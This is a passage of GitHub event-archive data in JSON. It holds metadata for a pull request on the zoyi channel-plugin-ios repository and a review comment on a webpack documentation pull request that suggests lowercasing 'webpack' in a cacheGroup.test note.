보임","created_at":"2019-11-10T10:37:19Z","updated_at":"2019-11-18T09:32:37Z","closed_at":null,"merged_at":null,"merge_commit_sha":"df0c3dc7e126adbaba55ef979211056278c47a2e","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36/commits","review_comments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36/comments","review_comment_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/comments{/number}","comments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/36/comments","statuses_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/statuses/c3e08ffcc001425830c526c0005b33bb38bc1ebb","head":{"label":"zoyi:fix/userchat_refactoring","ref":"fix/userchat_refactoring","sha":"c3e08ffcc001425830c526c0005b33bb38bc1ebb","user":{"login":"zoyi","id":2077024,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNzcwMjQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2077024?v=4","gravatar_id":"","url":"https://api.github.com/users/zoyi","html_url":"https://github.com/zoyi","followers_url":"https://api.github.com/users/zoyi/followers","following_url":"https://api.github.com/users/zoyi/following{/other_user}","gists_url":"https://api.github.com/users/zoyi/gists{/gist_id}","starred_url":"https://api.github.com/users/zoyi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zoyi/subscriptions","organizations_url":"https://api.github.com/users/zoyi/orgs","repos_url":"https://api.github.com/users/zoyi/repos","events_url":"https://api.github.com/users/zoyi/events{/privacy}","received_events_url":"https://api.github.com/users/zoyi/received_events","type":"Organization","site_admin":false},"repo":{"id":79194432,"node_id":"MDEwOlJlcG9zaXRvcnk3OTE5NDQzMg==","name":"channel-plugin-ios","full_name":"zoyi/channel-plugin-ios","private":false,"owner":{"login":"zoyi","id":2077024,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNzcwMjQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2077024?v=4","gravatar_id":"","url":"https://api.github.com/users/zoyi","html_url":"https://github.com/zoyi","followers_url":"https://api.github.com/users/zoyi/followers","following_url":"https://api.github.com/users/zoyi/following{/other_user}","gists_url":"https://api.github.com/users/zoyi/gists{/gist_id}","starred_url":"https://api.github.com/users/zoyi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zoyi/subscriptions","organizations_url":"https://api.github.com/users/zoyi/orgs","repos_url":"https://api.github.com/users/zoyi/repos","events_url":"https://api.github.com/users/zoyi/events{/privacy}","received_events_url":"https://api.github.com/users/zoyi/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/zoyi/channel-plugin-ios","description":"Channel plugin for iOS","fork":false,"url":"https://api.github.com/repos/zoyi/channel-plugin-ios","forks_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/forks","keys_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/keys{/key_id}","collaborators_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/teams","hooks_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/hooks","issue_events_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/events{/number}","events_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/events","assignees_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/assignees{/user}","branches_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/branches{/branch}","tags_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/tags","blobs_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/refs{/sha}","trees_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/trees{/sha}","statuses_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/statuses/{sha}","languages_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/languages","stargazers_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/stargazers","contributors_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/contributors","subscribers_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/subscribers","subscription_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/subscription","commits_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/commits{/sha}","git_commits_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/commits{/sha}","comments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/comments{/number}","issue_comment_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/comments{/number}","contents_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/contents/{+path}","compare_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/compare/{base}...{head}","merges_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/merges","archive_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/downloads","issues_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues{/number}","pulls_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls{/number}","milestones_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/milestones{/number}","notifications_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/labels{/name}","releases_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/releases{/id}","deployments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/deployments","created_at":"2017-01-17T06:03:53Z","updated_at":"2019-11-13T14:21:53Z","pushed_at":"2019-11-18T09:20:17Z","git_url":"git://github.com/zoyi/channel-plugin-ios.git","ssh_url":"git@github.com:zoyi/channel-plugin-ios.git","clone_url":"https://github.com/zoyi/channel-plugin-ios.git","svn_url":"https://github.com/zoyi/channel-plugin-ios","homepage":null,"size":346894,"stargazers_count":4,"watchers_count":4,"language":"Swift","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":1,"open_issues":2,"watchers":4,"default_branch":"master"}},"base":{"label":"zoyi:feature/v3","ref":"feature/v3","sha":"d3bac5544787047847cf0700210b5de73e128586","user":{"login":"zoyi","id":2077024,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNzcwMjQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2077024?v=4","gravatar_id":"","url":"https://api.github.com/users/zoyi","html_url":"https://github.com/zoyi","followers_url":"https://api.github.com/users/zoyi/followers","following_url":"https://api.github.com/users/zoyi/following{/other_user}","gists_url":"https://api.github.com/users/zoyi/gists{/gist_id}","starred_url":"https://api.github.com/users/zoyi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zoyi/subscriptions","organizations_url":"https://api.github.com/users/zoyi/orgs","repos_url":"https://api.github.com/users/zoyi/repos","events_url":"https://api.github.com/users/zoyi/events{/privacy}","received_events_url":"https://api.github.com/users/zoyi/received_events","type":"Organization","site_admin":false},"repo":{"id":79194432,"node_id":"MDEwOlJlcG9zaXRvcnk3OTE5NDQzMg==","name":"channel-plugin-ios","full_name":"zoyi/channel-plugin-ios","private":false,"owner":{"login":"zoyi","id":2077024,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNzcwMjQ=","avatar_url":"https://avatars1.githubusercontent.com/u/2077024?v=4","gravatar_id":"","url":"https://api.github.com/users/zoyi","html_url":"https://github.com/zoyi","followers_url":"https://api.github.com/users/zoyi/followers","following_url":"https://api.github.com/users/zoyi/following{/other_user}","gists_url":"https://api.github.com/users/zoyi/gists{/gist_id}","starred_url":"https://api.github.com/users/zoyi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zoyi/subscriptions","organizations_url":"https://api.github.com/users/zoyi/orgs","repos_url":"https://api.github.com/users/zoyi/repos","events_url":"https://api.github.com/users/zoyi/events{/privacy}","received_events_url":"https://api.github.com/users/zoyi/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/zoyi/channel-plugin-ios","description":"Channel plugin for iOS","fork":false,"url":"https://api.github.com/repos/zoyi/channel-plugin-ios","forks_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/forks","keys_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/keys{/key_id}","collaborators_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/teams","hooks_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/hooks","issue_events_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/events{/number}","events_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/events","assignees_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/assignees{/user}","branches_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/branches{/branch}","tags_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/tags","blobs_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/refs{/sha}","trees_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/trees{/sha}","statuses_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/statuses/{sha}","languages_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/languages","stargazers_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/stargazers","contributors_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/contributors","subscribers_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/subscribers","subscription_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/subscription","commits_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/commits{/sha}","git_commits_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/git/commits{/sha}","comments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/comments{/number}","issue_comment_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/comments{/number}","contents_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/contents/{+path}","compare_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/compare/{base}...{head}","merges_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/merges","archive_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/downloads","issues_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues{/number}","pulls_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls{/number}","milestones_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/milestones{/number}","notifications_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/labels{/name}","releases_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/releases{/id}","deployments_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/deployments","created_at":"2017-01-17T06:03:53Z","updated_at":"2019-11-13T14:21:53Z","pushed_at":"2019-11-18T09:20:17Z","git_url":"git://github.com/zoyi/channel-plugin-ios.git","ssh_url":"git@github.com:zoyi/channel-plugin-ios.git","clone_url":"https://github.com/zoyi/channel-plugin-ios.git","svn_url":"https://github.com/zoyi/channel-plugin-ios","homepage":null,"size":346894,"stargazers_count":4,"watchers_count":4,"language":"Swift","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":1,"open_issues":2,"watchers":4,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36"},"html":{"href":"https://github.com/zoyi/channel-plugin-ios/pull/36"},"issue":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/36"},"comments":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/36/comments"},"review_comments":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36/comments"},"review_comment":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36/commits"},"statuses":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/statuses/c3e08ffcc001425830c526c0005b33bb38bc1ebb"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 79194432,
"name": "zoyi/channel-plugin-ios",
"url": "https://api.github.com/repos/zoyi/channel-plugin-ios"
}
|
{
"id": 848531,
"login": "intoxicated",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/848531?",
"url": "https://api.github.com/users/intoxicated"
}
|
{
"id": 2077024,
"login": "zoyi",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2077024?",
"url": "https://api.github.com/orgs/zoyi"
}
| 2019-11-18T09:26:34 |
10885007519
|
{"actor":{"display_login":"intoxicated"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/comments/363277971","pull_request_review_id":338622187,"id":363277971,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM2MzI3Nzk3MQ==","diff_hunk":"@@ -83,6 +83,10 @@ module.exports = {\n \n W> When files paths are processed by webpack, they always contain `/` on Unix systems and `\\` on Windows. That's why using `[\\\\/]` in `{cacheGroup}.test` fields is necessary to represent a path separator. `/` or `\\` in `{cacheGroup}.test` will cause issues when used cross-platform.\n \n+W> Passing an entry name to `{cacheGroup}.test` is no longer allowed from Webpack 5.","path":"src/content/plugins/split-chunks-plugin.md","position":4,"original_position":4,"commit_id":"e583047587197f6653fb6fcc95cfe2e07ce12f06","original_commit_id":"e583047587197f6653fb6fcc95cfe2e07ce12f06","user":{"login":"montogeek","id":1002461,"node_id":"MDQ6VXNlcjEwMDI0NjE=","avatar_url":"https://avatars0.githubusercontent.com/u/1002461?v=4","gravatar_id":"","url":"https://api.github.com/users/montogeek","html_url":"https://github.com/montogeek","followers_url":"https://api.github.com/users/montogeek/followers","following_url":"https://api.github.com/users/montogeek/following{/other_user}","gists_url":"https://api.github.com/users/montogeek/gists{/gist_id}","starred_url":"https://api.github.com/users/montogeek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/montogeek/subscriptions","organizations_url":"https://api.github.com/users/montogeek/orgs","repos_url":"https://api.github.com/users/montogeek/repos","events_url":"https://api.github.com/users/montogeek/events{/privacy}","received_events_url":"https://api.github.com/users/montogeek/received_events","type":"User","site_admin":false},"body":"```suggestion\r\nW> Passing an entry name to `{cacheGroup}.test` is no longer allowed from webpack 5.\r\n```","created_at":"2020-01-06T12:42:51Z","updated_at":"2020-01-06T12:42:52Z","html_url":"https://github.com/webpack/webpack.js.org/pull/3459#discussion_r363277971","pull_request_url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/comments/363277971"},"html":{"href":"https://github.com/webpack/webpack.js.org/pull/3459#discussion_r363277971"},"pull_request":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459"}}},"pull_request":{"url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459","id":359194538,"node_id":"MDExOlB1bGxSZXF1ZXN0MzU5MTk0NTM4","html_url":"https://github.com/webpack/webpack.js.org/pull/3459","diff_url":"https://github.com/webpack/webpack.js.org/pull/3459.diff","patch_url":"https://github.com/webpack/webpack.js.org/pull/3459.patch","issue_url":"https://api.github.com/repos/webpack/webpack.js.org/issues/3459","number":3459,"state":"open","locked":false,"title":"doc(plugin):Add info about cachegroup.test and cachegroup.name","user":{"login":"jeffin143","id":21286134,"node_id":"MDQ6VXNlcjIxMjg2MTM0","avatar_url":"https://avatars3.githubusercontent.com/u/21286134?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffin143","html_url":"https://github.com/jeffin143","followers_url":"https://api.github.com/users/jeffin143/followers","following_url":"https://api.github.com/users/jeffin143/following{/other_user}","gists_url":"https://api.github.com/users/jeffin143/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffin143/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffin143/subscriptions","organizations_url":"https://api.github.com/users/jeffin143/orgs","repos_url":"https://api.github.com/users/jeffin143/repos","events_url":"https://api.github.com/users/jeffin143/events{/privacy}","received_events_url":"https://api.github.com/users/jeffin143/received_events","type":"User","site_admin":false},"body":"closes : #2483 ","created_at":"2020-01-04T08:15:48Z","updated_at":"2020-01-06T12:42:52Z","closed_at":null,"merged_at":null,"merge_commit_sha":"50292d2097176c52cee3bfd0bc1ac6083ee04a0f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459/commits","review_comments_url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459/comments","review_comment_url":"https://api.github.com/repos/webpack/webpack.js.org/pulls/comments{/number}","comments_url":"https://api.github.com/repos/webpack/webpack.js.org/issues/3459/comments","statuses_url":"https://api.github.com/repos/webpack/webpack.js.org/statuses/e583047587197f6653fb6fcc95cfe2e07ce12f06","head":{"label":"jeffin143:fix-2483","ref":"fix-2483","sha":"e583047587197f6653fb6fcc95cfe2e07ce12f06","user":{"login":"jeffin143","id":21286134,"node_id":"MDQ6VXNlcjIxMjg2MTM0","avatar_url":"https://avatars3.githubusercontent.com/u/21286134?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffin143","html_url":"https://github.com/jeffin143","followers_url":"https://api.github.com/users/jeffin143/followers","following_url":"https://api.github.com/users/jeffin143/following{/other_user}","gists_url":"https://api.github.com/users/jeffin143/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffin143/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffin143/subscriptions","organizations_url":"https://api.github.com/users/jeffin143/orgs","repos_url":"https://api.github.com/users/jeffin143/repos","events_url":"https://api.github.com/users/jeffin143/events{/privacy}","received_events_url":"https://api.github.com/users/jeffin143/received_events","type":"User","site_admin":false},"repo":{"id":221930936,"node_id":"MDEwOlJlcG9zaXRvcnkyMjE5MzA5MzY=","name":"webpack.js.org","full_name":"jeffin143/webpack.js.org","private":false,"owner":{"login":"jeffin143","id":21286134,"node_id":"MDQ6VXNlcjIxMjg2MTM0","avatar_url":"https://avatars3.githubusercontent.com/u/21286134?v=4","gravatar_id":"","url":"https://api.github.com/users/jeffin143","html_url":"https://github.com/jeffin143","followers_url":"https://api.github.com/users/jeffin143/followers","following_url":"https://api.github.com/users/jeffin143/following{/other_user}","gists_url":"https://api.github.com/users/jeffin143/gists{/gist_id}","starred_url":"https://api.github.com/users/jeffin143/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jeffin143/subscriptions","organizations_url":"https://api.github.com/users/jeffin143/orgs","repos_url":"https://api.github.com/users/jeffin143/repos","events_url":"https://api.github.com/users/jeffin143/events{/privacy}","received_events_url":"https://api.github.com/users/jeffin143/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jeffin143/webpack.js.org","description":"Repository for webpack documentation and more!","fork":true,"url":"https://api.github.com/repos/jeffin143/webpack.js.org","forks_url":"https://api.github.com/repos/jeffin143/webpack.js.org/forks","keys_url":"https://api.github.com/repos/jeffin143/webpack.js.org/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jeffin143/webpack.js.org/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jeffin143/webpack.js.org/teams","hooks_url":"https://api.github.com/repos/jeffin143/webpack.js.org/hooks","issue_events_url":"https://api.github.com/repos/jeffin143/webpack.js.org/issues/events{/number}","events_url":"https://api.github.com/repos/jeffin143/webpack.js.org/events","assignees_url":"https://api.github.com/repos/jeffin143/webpack.js.org/assignees{/user}","branches_url":"https://api.github.com/repos/jeffin143/webpack.js.org/branches{/branch}","tags_url":"https://api.github.com/repos/jeffin143/webpack.js.org/tags","blobs_url":"https://api.github.com/repos/jeffin143/webpack.js.org/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jeffin143/webpack.js.org/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jeffin143/webpack.js.org/git/refs{/sha}","trees_url":"https://api.github.com/repos/jeffin143/webpack.js.org/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jeffin143/webpack.js.org/statuses/{sha}","languages_url":"https://api.github.com/repos/jeffin143/webpack.js.org/languages","stargazers_url":"https://api.github.com/repos/jeffin143/webpack.js.org/stargazers","contributors_url":"https://api.github.com/repos/jeffin143/webpack.js.org/contributors","subscribers_url":"https://api.github.com/repos/jeffin143/webpack.js.org/subscribers","subscription_url":"https://api.github.com/repos/jeffin143/webpack.js.org/subscription","commits_url":"https://api.github.com/repos/jeffin143/webpack.js.org/commits{/sha}","git_commits_url":"https://api.github.com/repos/jeffin143/webpack.js.org/git/commits{/sha}","comments_url":"https://api.github.com/repos/jeffin143/webpack.js.org/comments{/number}","issue_comment_url":"https://api.github.com/repos/jeffin143/webpack.js.org/issues/comments{/number}","contents_url":"https://api.github.com/repos/jeffin143/webpack.js.org/contents/{+path}","compare_url":"https://api.github.com/repos/jeffin143/webpack.js.org/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jeffin143/webpack.js.org/merges","archive_url":"https://api.github.com/repos/jeffin143/webpack.js.org/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jeffin143/webpack.js.org/downloads","issues_url":"https://api.github.com/repos/jeffin143/webpack.js.org/issues{/number}","pulls_url":"https://api.github.com/repos/jeffin143/webpack.js.org/pulls{/number}","milestones_url":"https://api.github.com/repos/jeffin143/webpack.js.org/milestones{/number}","notifications_url":"https://api.github.com/repos/jeffin143/webpack.js.org/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jeffin143/webpack.js.org/labels{/name}","releases_url":"https://api.github.com/repos/jeffin143/webpack.js.org/releases{/id}","deployments_url":"https://api.github.com/repos/jeffin143/webpack.js.org/deployments","created_at":"2019-11-15T13:36:06Z","updated_at":"2019-11-15T13:36:08Z","pushed_at":"2020-01-04T08:15:06Z","git_url":"git://github.com/jeffin143/webpack.js.org.git","ssh_url":"git@github.com:jeffin143/webpack.js.org.git","clone_url":"https://github.com/jeffin143/webpack.js.org.git","svn_url":"https://github.com/jeffin143/webpack.js.org","homepage":"https://webpack.js.org","size":216182,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"cc-by-4.0","name":"Creative Commons Attribution 4.0 International","spdx_id":"CC-BY-4.0","url":"https://api.github.com/licenses/cc-by-4.0","node_id":"MDc6TGljZW5zZTI1"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"webpack:master","ref":"master","sha":"21a6b5a208a955d3eeb0846a933d302a1638bb3f","user":{"login":"webpack","id":2105791,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIxMDU3OTE=","avatar_url":"https://avatars2.githubusercontent.com/u/2105791?v=4","gravatar_id":"","url":"https://api.github.com/users/webpack","html_url":"https://github.com/webpack","followers_url":"https://api.github.com/users/webpack/followers","following_url":"https://api.github.com/users/webpack/following{/other_user}","gists_url":"https://api.github.com/users/webpack/gists{/gist_id}","starred_url":"https://api.github.com/users/webpack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/webpack/subscriptions","organizations_url":"https://api.github.com/users/webpack/orgs","repos_url":"https://api.github.com/users/webpack/repos","events_url":"https://api.github.com/users/webpack/events{/privacy}","received_events_url":"https://api.github.com/users/webpack/received_events","type":"Organization","site_admin":false},"repo":{"id":61886109,"node_id":"MDEwOlJlcG9zaXRvcnk2MTg4NjEwOQ==","name":"webpack.js.org","full_name":"webpack/webpack.js.org","private":false,"owner":{"login":"webpack","id":2105791,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIxMDU3OTE=","avatar_url":"https://avatars2.githubusercontent.com/u/2105791?v=4","gravatar_id":"","url":"https://api.github.com/users/webpack","html_url":"https://github.com/webpack","followers_url":"https://api.github.com/users/webpack/followers","following_url":"https://api.github.com/users/webpack/following{/other_user}","gists_url":"https://api.github.com/users/webpack/gists{/gist_id}","starred_url":"https://api.github.com/users/webpack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/webpack/subscriptions","organizations_url":"https://api.github.com/users/webpack/orgs","repos_url":"https://api.github.com/users/webpack/repos","events_url":"https://api.github.com/users/webpack/events{/privacy}","received_events_url":"https://api.github.com/users/webpack/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/webpack/webpack.js.org","description":"Repository for webpack documentation and more!","fork":false,"url":"https://api.github.com/repos/webpack/webpack.js.org","forks_url":"https://api.github.com/repos/webpack/webpack.js.org/forks","keys_url":"https://api.github.com/repos/webpack/webpack.js.org/keys{/key_id}","collaborators_url":"https://api.github.com/repos/webpack/webpack.js.org/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/webpack/webpack.js.org/teams","hooks_url":"https://api.github.com/repos/webpack/webpack.js.org/hooks","issue_events_url":"https://api.github.com/repos/webpack/webpack.js.org/issues/events{/number}","events_url":"https://api.github.com/repos/webpack/webpack.js.org/events","assignees_url":"https://api.github.com/repos/webpack/webpack.js.org/assignees{/user}","branches_url":"https://api.github.com/repos/webpack/webpack.js.org/branches{/branch}","tags_url":"https://api.github.com/repos/webpack/webpack.js.org/tags","blobs_url":"https://api.github.com/repos/webpack/webpack.js.org/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/webpack/webpack.js.org/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/webpack/webpack.js.org/git/refs{/sha}","trees_url":"https://api.github.com/repos/webpack/webpack.js.org/git/trees{/sha}","statuses_url":"https://api.github.com/repos/webpack/webpack.js.org/statuses/{sha}","languages_url":"https://api.github.com/repos/webpack/webpack.js.org/languages","stargazers_url":"https://api.github.com/repos/webpack/webpack.js.org/stargazers","contributors_url":"https://api.github.com/repos/webpack/webpack.js.org/contributors","subscribers_url":"https://api.github.com/repos/webpack/webpack.js.org/subscribers","subscription_url":"https://api.github.com/repos/webpack/webpack.js.org/subscription","commits_url":"https://api.github.com/repos/webpack/webpack.js.org/commits{/sha}","git_commits_url":"https://api.github.com/repos/webpack/webpack.js.org/git/commits{/sha}","comments_url":"https://api.github.com/repos/webpack/webpack.js.org/comments{/number}","issue_comment_url":"https://api.github.com/repos/webpack/webpack.js.org/issues/comments{/number}","contents_url":"https://api.github.com/repos/webpack/webpack.js.org/contents/{+path}","compare_url":"https://api.github.com/repos/webpack/webpack.js.org/compare/{base}...{head}","merges_url":"https://api.github.com/repos/webpack/webpack.js.org/merges","archive_url":"https://api.github.com/repos/webpack/webpack.js.org/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/webpack/webpack.js.org/downloads","issues_url":"https://api.github.com/repos/webpack/webpack.js.org/issues{/number}","pulls_url":"https://api.github.com/repos/webpack/webpack.js.org/pulls{/number}","milestones_url":"https://api.github.com/repos/webpack/webpack.js.org/milestones{/number}","notifications_url":"https://api.github.com/repos/webpack/webpack.js.org/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/webpack/webpack.js.org/labels{/name}","releases_url":"https://api.github.com/repos/webpack/webpack.js.org/releases{/id}","deployments_url":"https://api.github.com/repos/webpack/webpack.js.org/deployments","created_at":"2016-06-24T13:22:52Z","updated_at":"2020-01-06T09:47:17Z","pushed_at":"2020-01-06T02:05:55Z","git_url":"git://github.com/webpack/webpack.js.org.git","ssh_url":"git@github.com:webpack/webpack.js.org.git","clone_url":"https://github.com/webpack/webpack.js.org.git","svn_url":"https://github.com/webpack/webpack.js.org","homepage":"https://webpack.js.org","size":272549,"stargazers_count":1634,"watchers_count":1634,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":2702,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":203,"license":{"key":"cc-by-4.0","name":"Creative Commons Attribution 4.0 International","spdx_id":"CC-BY-4.0","url":"https://api.github.com/licenses/cc-by-4.0","node_id":"MDc6TGljZW5zZTI1"},"forks":2702,"open_issues":203,"watchers":1634,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459"},"html":{"href":"https://github.com/webpack/webpack.js.org/pull/3459"},"issue":{"href":"https://api.github.com/repos/webpack/webpack.js.org/issues/3459"},"comments":{"href":"https://api.github.com/repos/webpack/webpack.js.org/issues/3459/comments"},"review_comments":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459/comments"},"review_comment":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/webpack/webpack.js.org/pulls/3459/commits"},"statuses":{"href":"https://api.github.com/repos/webpack/webpack.js.org/statuses/e583047587197f6653fb6fcc95cfe2e07ce12f06"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 61886109,
"name": "webpack/webpack.js.org",
"url": "https://api.github.com/repos/webpack/webpack.js.org"
}
|
{
"id": 1002461,
"login": "montogeek",
